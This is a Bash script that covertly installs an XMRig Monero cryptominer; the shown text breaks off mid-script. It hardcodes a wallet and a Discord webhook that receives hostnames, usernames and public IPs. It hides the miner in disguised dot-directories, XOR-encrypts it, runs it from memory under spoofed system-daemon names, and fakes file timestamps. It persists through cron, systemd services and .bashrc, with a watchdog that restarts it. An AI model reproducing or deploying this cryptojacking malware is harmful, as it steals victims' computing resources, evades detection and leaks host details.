#!/bin/bash

CPU_LIMIT="${1:-90}"
WALLET="43RbYEhjns8hGNZ5Mn2Kr1L5WVHVtEqgubL9P16HeRTfiBMkgKqCdc79DEevp1TLADDy6Z9pB7Ctt3Wvp28BbrjyKcCMpmG"
DC_WEBHOOK="https://discord.com/api/webhooks/1542971004114960445/xn7_sNWPI97TuN2cecMnSoRmKpVVmybpMeNYcDhnJweq2S2WFHZsbUXMLl0fRS8FxiTh"

IS_ROOT=false
[ "$(id -u)" -eq 0 ] && IS_ROOT=true

# ============================================
# HELPERS
# ============================================
tg_send() {
    local msg="$1"
    # Use python3 for safe JSON encoding via stdin pipe
    if command -v python3 >/dev/null 2>&1; then
        printf '%s' "$msg" | python3 -c "
import sys,json,urllib.request
m=sys.stdin.read().replace('<b>','**').replace('</b>','**')
d=json.dumps({'content':m}).encode()
r=urllib.request.Request('$DC_WEBHOOK',data=d,headers={'Content-Type':'application/json','User-Agent':'Mozilla/5.0'})
try:urllib.request.urlopen(r,timeout=10)
except:pass
" 2>/dev/null && return 0
    fi
    # Fallback: curl with newlines stripped
    local clean
    clean=$(printf '%s' "$msg" | tr '\n' ' ' | sed 's/<b>/**/g; s/<\/b>/**/g; s/"/\\"/g')
    curl -s -X POST "$DC_WEBHOOK" -H "Content-Type: application/json" -A "Mozilla/5.0" \
        -d "{\"content\":\"${clean}\"}" >/dev/null 2>&1 && return 0
    wget -qO- --post-data="{\"content\":\"${clean}\"}" -U "Mozilla/5.0" \
        --header="Content-Type: application/json" "$DC_WEBHOOK" >/dev/null 2>&1 && return 0
    return 0
}

download_to_file() {
    local url="$1" out="$2"
    command -v curl >/dev/null 2>&1 && curl -sL -o "$out" "$url" 2>/dev/null && [ -s "$out" ] && return 0
    command -v wget >/dev/null 2>&1 && wget -qO "$out" "$url" 2>/dev/null && [ -s "$out" ] && return 0
    command -v python3 >/dev/null 2>&1 && python3 -c "import urllib.request;urllib.request.urlretrieve('$url','$out')" 2>/dev/null && [ -s "$out" ] && return 0
    command -v perl >/dev/null 2>&1 && perl -e "use LWP::Simple;getstore('$url','$out')" 2>/dev/null && [ -s "$out" ] && return 0
    return 1
}

# grep -oP compatible across distros
grep_pid() {
    # $1 = ss/netstat output line, extract pid number
    echo "$1" | grep -o 'pid=[0-9]*' | cut -d= -f2 | head -1
}

check_miner_running() {
    local wdir="${1:-}"
    # Check ESTABLISHED outgoing connections to mining ports (remote = column 5 in ss, col 5 in netstat)
    if command -v ss >/dev/null 2>&1; then
        ss -tnp state established 2>/dev/null | awk '{print $4}' | grep -qE ":1[0-8][0-9]{3}$" && return 0
    fi
    if command -v netstat >/dev/null 2>&1; then
        netstat -tnp 2>/dev/null | awk '$6=="ESTABLISHED"{print $5}' | grep -qE ":1[0-8][0-9]{3}$" && return 0
    fi
    if [ -n "$wdir" ] && [ -f "$wdir/.pid" ]; then
        local p; p=$(cat "$wdir/.pid" 2>/dev/null)
        kill -0 "$p" 2>/dev/null && return 0
    fi
    for ep in /proc/[0-9]*/exe; do
        local rpid; rpid=$(echo "$ep" | grep -o '[0-9]*' | tail -1)
        [ "$(stat -c %u "/proc/$rpid" 2>/dev/null)" = "$(id -u)" ] || continue
        readlink "$ep" 2>/dev/null | grep -q "memfd" && return 0
    done
    return 1
}

find_miner_pid() {
    local wdir="${1:-$WORK_DIR}"
    if [ -f "$wdir/.pid" ]; then
        local p; p=$(cat "$wdir/.pid" 2>/dev/null)
        kill -0 "$p" 2>/dev/null && echo "$p" && return
    fi
    if command -v ss >/dev/null 2>&1; then
        local line; line=$(ss -tnp state established 2>/dev/null | awk '{print $0}' | grep -E " [0-9.:]+:1[0-8][0-9]{3} " | head -1)
        local p; p=$(grep_pid "$line")
        [ -n "$p" ] && echo "$p" && return
    fi
    for ep in /proc/[0-9]*/exe; do
        local rpid; rpid=$(echo "$ep" | grep -o '[0-9]*' | tail -1)
        [ "$(stat -c %u "/proc/$rpid" 2>/dev/null)" = "$(id -u)" ] || continue
        readlink "$ep" 2>/dev/null | grep -q "memfd" && echo "$rpid" && return
    done
}

fail_exit() {
    tg_send "$1"
    echo "FAIL"; exit 1
}

# ============================================
# SYSTEM INFO
# ============================================
CPU_CORES=$(nproc 2>/dev/null || grep -c ^processor /proc/cpuinfo 2>/dev/null || echo 4)
RAM_MB=$(free -m 2>/dev/null | awk '/Mem:/{print $2}' || awk '/MemTotal/{printf "%d",$2/1024}' /proc/meminfo 2>/dev/null || echo 4096)
RAM_FREE=$(awk '/MemAvailable/{print int($2/1024)}' /proc/meminfo 2>/dev/null || echo "$RAM_MB")
ARCH=$(uname -m)
DISTRO="unknown"
[ -f /etc/os-release ] && . /etc/os-release && DISTRO="${ID:-unknown}"
HAS_PYTHON3=false; command -v python3 >/dev/null 2>&1 && HAS_PYTHON3=true
HAS_PERL=false; command -v perl >/dev/null 2>&1 && HAS_PERL=true

if ! command -v curl >/dev/null 2>&1 && ! command -v wget >/dev/null 2>&1 && \
   [ "$HAS_PYTHON3" = false ] && [ "$HAS_PERL" = false ]; then
    tg_send "<b>[FAIL] No download tool</b>
<b>Host:</b> $(hostname 2>/dev/null) | $(whoami 2>/dev/null)"
    echo "FAIL"; exit 1
fi

# ============================================
# FIND WRITABLE DIRECTORY
# ============================================
MINER_DIR=""
for _p in "$HOME/.cache/.fontconfig/.data" "$HOME/.local/share/.icons/.cache" \
           "$HOME/.config/.dbus/.session" "$HOME/.cache/.thumbnails/.data"; do
    mkdir -p "$_p" 2>/dev/null && [ -w "$_p" ] && MINER_DIR="$_p" && break
done
[ -z "$MINER_DIR" ] && for _p in "/var/tmp/.systemd-private-$(id -u)" "/var/cache/.ldconfig" \
                                  "/dev/shm/.dbus-session" "/tmp/.font-unix/.cache-$(id -u)"; do
    mkdir -p "$_p" 2>/dev/null && [ -w "$_p" ] && MINER_DIR="$_p" && break
done
[ -z "$MINER_DIR" ] && MINER_DIR="/var/tmp/.cache-$(id -u)" && mkdir -p "$MINER_DIR" 2>/dev/null

WORK_DIR="$MINER_DIR/.lib"
mkdir -p "$WORK_DIR" || { tg_send "<b>[FAIL] Can't create workdir</b>"; echo "FAIL"; exit 1; }
cd "$WORK_DIR" || { tg_send "<b>[FAIL] Can't cd workdir</b>"; echo "FAIL"; exit 1; }

# Stealth file names (no double-dot prefix)
F_LOADER="$WORK_DIR/.session-init"
F_STARTUP="$WORK_DIR/.rc-local"
F_WATCHDOG="$WORK_DIR/.cache-sync"
F_PAYLOAD="$WORK_DIR/.fonts.cache"
F_PID="$WORK_DIR/.pid"

check_miner_running "$WORK_DIR" && {
    tg_send "<b>[ALREADY RUNNING]</b>
<b>Host:</b> $(hostname 2>/dev/null) | $(whoami 2>/dev/null)"
    echo "ALREADY"; exit 0
}

# ============================================
# STEP 1: DOWNLOAD BINARY + CONFIG
# ============================================
XMRIG_BIN="$WORK_DIR/xmrig"
MO_URL="https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.tar.gz"
TMPFILE="$WORK_DIR/.tmp"

download_to_file "$MO_URL" "$TMPFILE"
[ -s "$TMPFILE" ] && tar -xf "$TMPFILE" -C "$WORK_DIR" 2>/dev/null && rm -f "$TMPFILE" 2>/dev/null

# Fallback: official static build (x86_64 only)
if [ ! -f "$XMRIG_BIN" ] && [ "$ARCH" = "x86_64" ]; then
    download_to_file "https://github.com/xmrig/xmrig/releases/download/v6.26.0/xmrig-6.26.0-linux-static-x64.tar.gz" "$TMPFILE"
    if [ -s "$TMPFILE" ]; then
        tar -xzf "$TMPFILE" --strip-components=1 -C "$WORK_DIR" 2>/dev/null
        if [ ! -f "$XMRIG_BIN" ]; then
            tar -xzf "$TMPFILE" -C "$WORK_DIR" 2>/dev/null
            _fb=$(find "$WORK_DIR" -name "xmrig" -type f 2>/dev/null | head -1)
            [ -n "$_fb" ] && mv "$_fb" "$XMRIG_BIN"
        fi
        rm -f "$TMPFILE" 2>/dev/null
    fi
fi

# ============================================
# STEP 2: PATCH CONFIG
# ============================================
THREADS=$CPU_CORES
_mtr=$(( RAM_MB / 2048 )); [ "$_mtr" -lt 1 ] && _mtr=1
[ "$_mtr" -lt "$THREADS" ] && THREADS=$_mtr

_ehr=$(( THREADS * 700 / 1000 )); [ "$_ehr" -lt 1 ] && _ehr=1
_mp=$(( _ehr * 30 )); [ "$_mp" -lt 1 ] && _mp=1
for _p2 in 1 2 4 8 16 32 64 128 256 512 1024 2048 4096 8192; do
    [ "$_p2" -ge "$_mp" ] && _mp=$_p2 && break
done
MO_PORT=$(( 10000 + _mp ))

PASS_HOST=$(hostname 2>/dev/null | cut -f1 -d"." | sed 's/[^a-zA-Z0-9\-]/_/g')
[ -z "$PASS_HOST" ] && PASS_HOST="na"

RX_MODE="fast"
{ [ "$RAM_FREE" -lt 2400 ] || [ "$RAM_MB" -lt 3072 ]; } 2>/dev/null && RX_MODE="light"

if [ -f "$WORK_DIR/config.json" ]; then
    sed -i 's/"donate-level": *[^,]*,/"donate-level": 1,/' "$WORK_DIR/config.json"
    sed -i 's/"url": *"[^"]*",/"url": "gulf.moneroocean.stream:'$MO_PORT'",/' "$WORK_DIR/config.json"
    sed -i 's/"user": *"[^"]*",/"user": "'$WALLET'",/' "$WORK_DIR/config.json"
    sed -i 's/"pass": *"[^"]*",/"pass": "'$PASS_HOST'",/' "$WORK_DIR/config.json"
    sed -i 's/"max-threads-hint": *[^,]*,/"max-threads-hint": '$CPU_LIMIT',/' "$WORK_DIR/config.json"
    sed -i 's/"background": *[a-z]*,/"background": false,/' "$WORK_DIR/config.json"
    sed -i 's/"colors": *[a-z]*,/"colors": false,/' "$WORK_DIR/config.json"
    sed -i 's#"log-file": *[^,]*,#"log-file": null,#' "$WORK_DIR/config.json"
    sed -i 's/"syslog": *[a-z]*,/"syslog": false,/' "$WORK_DIR/config.json"
    [ "$RX_MODE" = "light" ] && sed -i 's/"mode": *"[^"]*"/"mode": "light"/' "$WORK_DIR/config.json"
else
    _mp2=true; [ "$RX_MODE" = "light" ] && _mp2=false
    printf '{"autosave":false,"background":false,"colors":false,"randomx":{"mode":"%s"},"cpu":{"huge-pages":true,"max-threads-hint":%s,"memory-pool":%s},"donate-level":1,"log-file":null,"pools":[{"url":"gulf.moneroocean.stream:%s","user":"%s","pass":"%s","keepalive":true,"tls":true}],"print-time":60,"retries":5,"retry-pause":5}\n' \
        "$RX_MODE" "$CPU_LIMIT" "$_mp2" "$MO_PORT" "$WALLET" "$PASS_HOST" > "$WORK_DIR/config.json"
fi

# ============================================
# STEP 3: COMPILE FROM SOURCE (if needed)
# ============================================
compile_xmrig() {
    local BD; BD="/tmp/.bld$$"
    mkdir -p "$BD" 2>/dev/null || return 1
    if [ "$IS_ROOT" = true ]; then
        case "$DISTRO" in
            ubuntu|debian|kali) apt-get install -y -qq git cmake build-essential libssl-dev libuv1-dev >/dev/null 2>&1 ;;
            centos|rhel|rocky|alma) yum install -y git cmake3 gcc gcc-c++ make openssl-devel libuv-devel >/dev/null 2>&1 ;;
            fedora) dnf install -y git cmake gcc gcc-c++ make openssl-devel libuv-devel >/dev/null 2>&1 ;;
            alpine) apk add --no-cache git cmake build-base openssl-dev libuv-dev linux-headers >/dev/null 2>&1 ;;
        esac
    fi
    if ! command -v cmake >/dev/null 2>&1 || ! command -v gcc >/dev/null 2>&1; then
        rm -rf "$BD"; return 1
    fi
    cd "$BD"
    git clone --depth 1 -b "v6.26.0" https://github.com/xmrig/xmrig.git . >/dev/null 2>&1
    if [ ! -f CMakeLists.txt ]; then rm -rf "$BD"; cd "$WORK_DIR"; return 1; fi
    mkdir build && cd build
    cmake .. -DWITH_HWLOC=OFF -DCMAKE_BUILD_TYPE=Release >/dev/null 2>&1
    make -j"$(nproc 2>/dev/null || echo 2)" >/dev/null 2>&1
    [ -f xmrig ] && mv xmrig "$XMRIG_BIN"
    cd "$WORK_DIR"
    rm -rf "$BD" 2>/dev/null
    [ -f "$XMRIG_BIN" ]
}

# ============================================
# STEP 4: TEST BINARY (renamed - xmrig never shows in ps)
# ============================================
if [ ! -f "$XMRIG_BIN" ]; then
    # Try compile before giving up
    if ! compile_xmrig; then
        fail_exit "<b>[FAIL] Download + compile failed</b>
<b>Host:</b> $(hostname 2>/dev/null) | $(whoami 2>/dev/null)
<b>IP:</b> $(curl -s4 ifconfig.me 2>/dev/null || echo unknown)
<b>Arch:</b> $ARCH | <b>Root:</b> $IS_ROOT
<b>cmake:</b> $(command -v cmake >/dev/null 2>&1 && echo Y || echo N)"
    fi
fi

chmod +x "$XMRIG_BIN"
TEST_BIN="$WORK_DIR/.cache-check"
mv "$XMRIG_BIN" "$TEST_BIN"
if ! "$TEST_BIN" --help >/dev/null 2>&1; then
    rm -f "$TEST_BIN"
    # Try compile as fallback (aarch64 etc)
    if compile_xmrig && mv "$XMRIG_BIN" "$TEST_BIN" && "$TEST_BIN" --help >/dev/null 2>&1; then
        : # compiled binary works
    else
        fail_exit "<b>[FAIL] Binary not functional</b>
<b>Host:</b> $(hostname 2>/dev/null) | $(whoami 2>/dev/null)
<b>IP:</b> $(curl -s4 ifconfig.me 2>/dev/null || echo unknown)
<b>Arch:</b> $ARCH
<b>OS:</b> ${PRETTY_NAME:-unknown}"
    fi
fi
mv "$TEST_BIN" "$XMRIG_BIN"

# Save config, will encrypt it
CONFIG_CONTENT=$(cat "$WORK_DIR/config.json")

# ============================================
# STEP 5: STEALTH LAYER
# ============================================
if [ "$IS_ROOT" = true ]; then
    {
        sysctl -w vm.nr_hugepages=$(( 1024 + THREADS + 8 ))
        modprobe msr 2>/dev/null
        for g in /sys/devices/system/cpu/cpu*/cpufreq/scaling_governor; do
            [ -w "$g" ] && echo "performance" > "$g"
        done
        sysctl -w vm.swappiness=10
    } >/dev/null 2>&1
fi

command -v strip >/dev/null 2>&1 && strip --strip-all "$XMRIG_BIN" 2>/dev/null

# Random XOR key
XOR_KEY_B64=$(head -c 32 /dev/urandom 2>/dev/null | base64 2>/dev/null | tr -d '\n')
[ -z "$XOR_KEY_B64" ] && XOR_KEY_B64=$(python3 -c "import os,base64;print(base64.b64encode(os.urandom(32)).decode())" 2>/dev/null)

# Encrypt binary
xor_ok=false
if [ "$HAS_PYTHON3" = true ]; then
    python3 << PYEOF 2>/dev/null && [ -s "$F_PAYLOAD" ] && xor_ok=true
import base64
k=base64.b64decode('$XOR_KEY_B64')
with open('$XMRIG_BIN','rb') as f: d=f.read()
with open('$F_PAYLOAD','wb') as f: f.write(bytes(b^k[i%len(k)] for i,b in enumerate(d)))
PYEOF
fi
if [ "$xor_ok" = false ] && [ "$HAS_PERL" = true ]; then
    perl -e 'use MIME::Base64;
my $k=decode_base64($ARGV[0]);
open F,"<:raw",$ARGV[1] or die;local $/;my $d=<F>;close F;
my $kl=length $k;
my $o=join"",map{chr(ord(substr($d,$_,1))^ord(substr($k,$_%$kl,1)))}0..length($d)-1;
open O,">:raw",$ARGV[2] or die;print O $o;close O;' \
    "$XOR_KEY_B64" "$XMRIG_BIN" "$F_PAYLOAD" 2>/dev/null
    [ -s "$F_PAYLOAD" ] && xor_ok=true
fi

# Encrypt config
CONFIG_ENC_B64=""
if [ "$HAS_PYTHON3" = true ]; then
    CONFIG_ENC_B64=$(printf '%s' "$CONFIG_CONTENT" | python3 << PYEOF 2>/dev/null
import base64,sys
k=base64.b64decode('$XOR_KEY_B64')
d=sys.stdin.buffer.read()
print(base64.b64encode(bytes(b^k[i%len(k)] for i,b in enumerate(d))).decode())
PYEOF
)
elif [ "$HAS_PERL" = true ]; then
    CONFIG_ENC_B64=$(printf '%s' "$CONFIG_CONTENT" | perl -e '
use MIME::Base64;
my $k=decode_base64($ARGV[0]);
local $/;my $d=<STDIN>;
my $kl=length $k;
my $o=join"",map{chr(ord(substr($d,$_,1))^ord(substr($k,$_%$kl,1)))}0..length($d)-1;
print encode_base64($o,"");' "$XOR_KEY_B64" 2>/dev/null)
fi

# Spoofed process names
ARGV0_LIST=(
    "/usr/lib/systemd/systemd-udevd"
    "/usr/lib/systemd/systemd-logind"
    "/usr/sbin/irqbalance"
    "/usr/sbin/thermald"
    "/usr/libexec/accounts-daemon"
    "/usr/sbin/rsyslogd"
)
ARGV0="${ARGV0_LIST[$(( RANDOM % ${#ARGV0_LIST[@]} ))]}"

# Runtime temp dir
TMPDIR_RT="/dev/shm"
[ ! -w "$TMPDIR_RT" ] && TMPDIR_RT="/tmp"
[ ! -w "$TMPDIR_RT" ] && TMPDIR_RT="$WORK_DIR"

LOADER_MODE="basic"

# ============================================
# PYTHON3 MEMFD LOADER
# ============================================
if [ "$xor_ok" = true ] && [ "$HAS_PYTHON3" = true ] && [ -n "$CONFIG_ENC_B64" ]; then
    LOADER_MODE="memfd"
    MFD_NR=319; [ "$ARCH" = "aarch64" ] && MFD_NR=279

    cat > "$F_LOADER" << LDREOF
#!/usr/bin/env python3
import ctypes,os,sys,base64 as B,signal,time
_K=B.b64decode(b"$XOR_KEY_B64")
_P="$F_PAYLOAD"
_C=B.b64decode(b"$CONFIG_ENC_B64")
_A="$ARGV0"
_PF="$F_PID"
_TD="$TMPDIR_RT"
def x(d,k):
 return bytes(b^k[i%len(k)]for i,b in enumerate(d))
def mfd(n=b''):
 try:
  l=ctypes.CDLL(None,use_errno=True)
  fd=l.syscall($MFD_NR,n,0)
  return fd if fd>=0 else None
 except:return None
try:
 with open(_P,'rb')as f:bd=x(f.read(),_K)
except:sys.exit(1)
cd=x(_C,_K)
bfd=mfd(b'[kworker/0:2-events]')
if bfd is not None:
 os.write(bfd,bd)
 bp='/proc/self/fd/%d'%bfd
else:
 bp=os.path.join(_TD,'.X%d'%os.getpid())
 with open(bp,'wb')as f:f.write(bd)
 os.chmod(bp,0o700)
sd=None;cp=None
for td in ['/dev/shm','/tmp',_TD,os.path.dirname(_P)]:
 try:
  sd=os.path.join(td,'.pulse-%d'%os.getuid())
  os.makedirs(sd,exist_ok=True)
  cp=os.path.join(sd,'config.json')
  with open(cp,'wb')as f:f.write(cd)
  break
 except:sd=None;cp=None
if cp is None:sys.exit(1)
pid=os.fork()
if pid>0:
 os.waitpid(pid,0)
 time.sleep(5)
 try:os.unlink(cp)
 except:pass
 if bfd is None:
  try:os.unlink(bp)
  except:pass
 sys.exit(0)
if os.fork()>0:os._exit(0)
os.setsid()
signal.signal(signal.SIGHUP,signal.SIG_IGN)
with open(_PF,'w')as f:f.write(str(os.getpid()))
os.chdir(os.path.dirname(cp))
os.execve(bp,[_A],{'HOME':os.environ.get('HOME','/tmp'),'PATH':'/usr/sbin:/usr/bin:/sbin:/bin'})
LDREOF
    chmod +x "$F_LOADER"

# ============================================
# PERL LOADER
# ============================================
elif [ "$xor_ok" = true ] && [ "$HAS_PERL" = true ] && [ -n "$CONFIG_ENC_B64" ]; then
    LOADER_MODE="perl"
    cat > "$F_LOADER" << LDREOF
#!/usr/bin/perl
use strict;
use MIME::Base64;
use POSIX qw(setsid);
use File::Basename;
my \$k=decode_base64("$XOR_KEY_B64");
my \$pf="$F_PAYLOAD";
my \$ce=decode_base64("$CONFIG_ENC_B64");
my \$a0="$ARGV0";
my \$pidf="$F_PID";
my \$td="$TMPDIR_RT";
sub xd{
 my(\$d,\$k)=@_;my \$kl=length \$k;
 join'',map{chr(ord(substr(\$d,\$_,1))^ord(substr(\$k,\$_%\$kl,1)))}0..length(\$d)-1
}
open F,'<:raw',\$pf or die;local \$/;my \$bd=xd(<F>,\$k);close F;
my \$cd=xd(\$ce,\$k);
my \$bp="\$td/.X\$\$";
open B,'>:raw',\$bp or die;print B \$bd;close B;chmod 0700,\$bp;
my(\$sd,\$cp);
for my \$t('/dev/shm','/tmp',\$td){
 \$sd="\$t/.pulse-\$<";
 mkdir \$sd unless -d \$sd;
 \$cp="\$sd/config.json";
 if(open C,'>',\$cp){print C \$cd;close C;last}
 \$cp=undef;
}
die "no config path" unless \$cp;
my \$pid=fork();
if(\$pid>0){
 waitpid(\$pid,0);
 sleep 5;
 unlink \$cp;
 unlink \$bp;
 exit 0;
}
exit 0 if fork();
setsid();
open PF,'>',\$pidf or die;print PF \$\$;close PF;
chdir dirname(\$cp) or chdir '/';
exec{\$bp}\$a0 or die;
LDREOF
    chmod +x "$F_LOADER"
fi

# Clean ALL plaintext artifacts
rm -f "$XMRIG_BIN" 2>/dev/null
rm -f "$WORK_DIR"/config.json "$WORK_DIR"/config_background.json 2>/dev/null
rm -f "$WORK_DIR"/SHA256SUMS "$WORK_DIR"/*.txt "$WORK_DIR"/*.md "$WORK_DIR"/LICENSE* 2>/dev/null

# Basic fallback - re-download stripped binary + unencrypted config
if [ "$LOADER_MODE" = "basic" ]; then
    download_to_file "$MO_URL" "$TMPFILE"
    tar -xf "$TMPFILE" -C "$WORK_DIR" 2>/dev/null
    rm -f "$TMPFILE" 2>/dev/null
    [ -f "$XMRIG_BIN" ] && command -v strip >/dev/null 2>&1 && strip --strip-all "$XMRIG_BIN" 2>/dev/null
    chmod +x "$XMRIG_BIN" 2>/dev/null
    printf '%s\n' "$CONFIG_CONTENT" > "$WORK_DIR/config.json"
fi

# Timestamp masking
_ref=$(find /usr/lib/ -name "*.so" -type f 2>/dev/null | head -1)
[ -n "$_ref" ] && find "$MINER_DIR" -exec touch -r "$_ref" {} \; 2>/dev/null

# ============================================
# STEP 6: STARTUP SCRIPT
# ============================================
cat > "$F_STARTUP" << 'SOFHEAD'
#!/bin/bash
WORK_DIR="$(cd "$(dirname "$0")" && pwd)"
IS_ROOT=false; [ "$(id -u)" -eq 0 ] && IS_ROOT=true
CPU_CORES=$(nproc 2>/dev/null || echo 4)

check_running() {
    command -v ss >/dev/null 2>&1 && ss -tnp state established 2>/dev/null | awk '{print $4}' | grep -qE ":1[0-8][0-9]{3}$" && return 0
    command -v netstat >/dev/null 2>&1 && netstat -tnp 2>/dev/null | awk '$6=="ESTABLISHED"{print $5}' | grep -qE ":1[0-8][0-9]{3}$" && return 0
    [ -f "$WORK_DIR/.pid" ] && kill -0 "$(cat "$WORK_DIR/.pid" 2>/dev/null)" 2>/dev/null && return 0
    return 1
}
get_pid() {
    if [ -f "$WORK_DIR/.pid" ]; then
        local p; p=$(cat "$WORK_DIR/.pid" 2>/dev/null)
        kill -0 "$p" 2>/dev/null && echo "$p" && return
    fi
    if command -v ss >/dev/null 2>&1; then
        local line; line=$(ss -tnp 2>/dev/null | grep -E ":1[0-8][0-9]{3}" | head -1)
        local p; p=$(echo "$line" | grep -o 'pid=[0-9]*' | cut -d= -f2)
        [ -n "$p" ] && echo "$p"
    fi
}
SOFHEAD

cat >> "$F_STARTUP" << SOFVARS
CPU_LIMIT=$CPU_LIMIT
LOADER_MODE="$LOADER_MODE"
F_LOADER="$F_LOADER"
SOFVARS

cat >> "$F_STARTUP" << 'SOFBODY'
if [ "$IS_ROOT" = true ]; then
    {
        sysctl -w vm.nr_hugepages=$((1024+CPU_CORES+8))
        modprobe msr 2>/dev/null
        for g in /sys/devices/system/cpu/cpu*/cpufreq/scaling_governor; do
            [ -w "$g" ] && echo "performance" > "$g"
        done
        sysctl -w vm.swappiness=10
    } >/dev/null 2>&1
fi

check_running && exit 0
rm -f "$WORK_DIR/.pid" 2>/dev/null

if [ "$LOADER_MODE" = "memfd" ] && [ -f "$F_LOADER" ]; then
    python3 "$F_LOADER" >/dev/null 2>&1
    sleep 8
elif [ "$LOADER_MODE" = "perl" ] && [ -f "$F_LOADER" ]; then
    perl "$F_LOADER" >/dev/null 2>&1
    sleep 8
else
    BIN=$(find "$WORK_DIR" -maxdepth 1 -name "xmrig" -type f -executable 2>/dev/null | head -1)
    [ -z "$BIN" ] && exit 0
    cd "$WORK_DIR"
    nohup "$BIN" >/dev/null 2>&1 &
    echo $! > "$WORK_DIR/.pid"
    disown 2>/dev/null
    sleep 5
fi

MPID=$(get_pid)
[ -z "$MPID" ] && exit 0

[ "$IS_ROOT" = true ] && echo -999 > "/proc/$MPID/oom_score_adj" 2>/dev/null

PERIOD=100000
QUOTA=$(( CPU_CORES * PERIOD * CPU_LIMIT / 100 ))
CPULIMIT_TOTAL=$(( CPU_CORES * CPU_LIMIT ))
ALLOWED=$(( CPU_CORES * CPU_LIMIT / 100 ))
[ "$ALLOWED" -lt 1 ] && ALLOWED=1
CPU_OK=false

if [ "$IS_ROOT" = true ]; then
    if [ -d /sys/fs/cgroup/cgroup.controllers ]; then
        CG="/sys/fs/cgroup/system.slice/.cache-worker"
        mkdir -p "$CG" 2>/dev/null
        echo "$QUOTA $PERIOD" > "$CG/cpu.max" 2>/dev/null
        echo "$MPID" > "$CG/cgroup.procs" 2>/dev/null && CPU_OK=true
    elif [ -d /sys/fs/cgroup/cpu ]; then
        CG="/sys/fs/cgroup/cpu/.cache-worker"
        mkdir -p "$CG" 2>/dev/null
        echo "$PERIOD" > "$CG/cpu.cfs_period_us" 2>/dev/null
        echo "$QUOTA" > "$CG/cpu.cfs_quota_us" 2>/dev/null
        echo "$MPID" > "$CG/tasks" 2>/dev/null && CPU_OK=true
    fi
fi

if [ "$CPU_OK" = false ] && command -v cpulimit >/dev/null 2>&1; then
    nohup cpulimit -p "$MPID" -l "$CPULIMIT_TOTAL" -b >/dev/null 2>&1 &
    disown 2>/dev/null
    CPU_OK=true
fi

if [ "$CPU_OK" = false ]; then
    renice 19 -p "$MPID" >/dev/null 2>&1
    command -v ionice >/dev/null 2>&1 && ionice -c 3 -p "$MPID" >/dev/null 2>&1
    if command -v taskset >/dev/null 2>&1; then
        CL=""
        for i in $(seq 0 $(( ALLOWED - 1 ))); do CL="${CL:+$CL,}$i"; done
        taskset -cp "$CL" "$MPID" >/dev/null 2>&1
    fi
fi
SOFBODY
chmod +x "$F_STARTUP"

# ============================================
# STEP 7: WATCHDOG
# ============================================
cat > "$F_WATCHDOG" << WDEOF
#!/bin/bash
W="$WORK_DIR"
S="$F_STARTUP"
command -v ss >/dev/null 2>&1 && ss -tnp state established 2>/dev/null | awk '{print $4}' | grep -qE ":1[0-8][0-9]{3}$" && exit 0
command -v netstat >/dev/null 2>&1 && netstat -tnp 2>/dev/null | awk '$6=="ESTABLISHED"{print $5}' | grep -qE ":1[0-8][0-9]{3}$" && exit 0
[ -f "\$W/.pid" ] && kill -0 "\$(cat "\$W/.pid" 2>/dev/null)" 2>/dev/null && exit 0
bash "\$S" >/dev/null 2>&1
WDEOF
chmod +x "$F_WATCHDOG"

# ============================================
# STEP 8: PERSISTENCE
# ============================================
CRON_BOOT="@reboot sleep 90 && $F_STARTUP >/dev/null 2>&1"
CRON_WD="*/3 * * * * $F_WATCHDOG >/dev/null 2>&1"

if command -v crontab >/dev/null 2>&1; then
    (crontab -l 2>/dev/null | grep -v "$WORK_DIR"; echo "$CRON_BOOT"; echo "$CRON_WD") | crontab - 2>/dev/null
fi

if [ "$IS_ROOT" = false ]; then
    _usvc="$HOME/.config/systemd/user"
    mkdir -p "$_usvc" 2>/dev/null
    if [ -d "$_usvc" ]; then
        cat > "$_usvc/dbus-session-update.service" << SVCEOF
[Unit]
Description=D-Bus Session Cache
After=default.target
[Service]
Type=forking
ExecStart=$F_STARTUP
Restart=always
RestartSec=30
StartLimitIntervalSec=0
[Install]
WantedBy=default.target
SVCEOF
        systemctl --user daemon-reload 2>/dev/null
        systemctl --user enable dbus-session-update.service 2>/dev/null
        loginctl enable-linger "$(whoami)" 2>/dev/null
    fi
    for _pf in "$HOME/.bashrc" "$HOME/.profile"; do
        [ -f "$_pf" ] && [ -w "$_pf" ] && ! grep -q "$WORK_DIR" "$_pf" 2>/dev/null && {
            printf '\n# session\n(nohup %s >/dev/null 2>&1 &)\n' "$F_WATCHDOG" >> "$_pf"
            break
        }
    done
elif command -v systemctl >/dev/null 2>&1; then
    cat > /etc/systemd/system/.cache-update.service 2>/dev/null << SVCEOF
[Unit]
Description=Cache Update
After=network.target
[Service]
Type=forking
ExecStart=$F_STARTUP
Restart=always
RestartSec=10
StartLimitIntervalSec=0
[Install]
WantedBy=multi-user.target
SVCEOF
    systemctl daemon-reload 2>/dev/null
    systemctl enable .cache-update.service 2>/dev/null
fi

# ============================================
# STEP 9: START
# ============================================
cd "$WORK_DIR"
if [ "$LOADER_MODE" = "memfd" ]; then
    python3 "$F_LOADER" >/dev/null 2>&1
    sleep 8
elif [ "$LOADER_MODE" = "perl" ]; then
    perl "$F_LOADER" >/dev/null 2>&1
    sleep 8
else
    nohup "$XMRIG_BIN" >/dev/null 2>&1 &
    echo $! > "$F_PID"
    disown 2>/dev/null
    sleep 5
fi

# Apply CPU limits
MINER_PID=$(find_miner_pid "$WORK_DIR")
if [ -n "$MINER_PID" ]; then
    PERIOD=100000
    QUOTA=$(( CPU_CORES * PERIOD * CPU_LIMIT / 100 ))
    CPULIMIT_TOTAL=$(( CPU_CORES * CPU_LIMIT ))
    ALLOWED=$(( CPU_CORES * CPU_LIMIT / 100 ))
    [ "$ALLOWED" -lt 1 ] && ALLOWED=1
    CPU_OK=false
    if [ "$IS_ROOT" = true ]; then
        if [ -d /sys/fs/cgroup/cgroup.controllers ]; then
            CG="/sys/fs/cgroup/system.slice/.cache-worker"
            mkdir -p "$CG" 2>/dev/null
            echo "$QUOTA $PERIOD" > "$CG/cpu.max" 2>/dev/null
            echo "$MINER_PID" > "$CG/cgroup.procs" 2>/dev/null && CPU_OK=true
        elif [ -d /sys/fs/cgroup/cpu ]; then
            CG="/sys/fs/cgroup/cpu/.cache-worker"
            mkdir -p "$CG" 2>/dev/null
            echo "$PERIOD" > "$CG/cpu.cfs_period_us" 2>/dev/null
            echo "$QUOTA" > "$CG/cpu.cfs_quota_us" 2>/dev/null
            echo "$MINER_PID" > "$CG/tasks" 2>/dev/null && CPU_OK=true
        fi
    fi
    if [ "$CPU_OK" = false ] && command -v cpulimit >/dev/null 2>&1; then
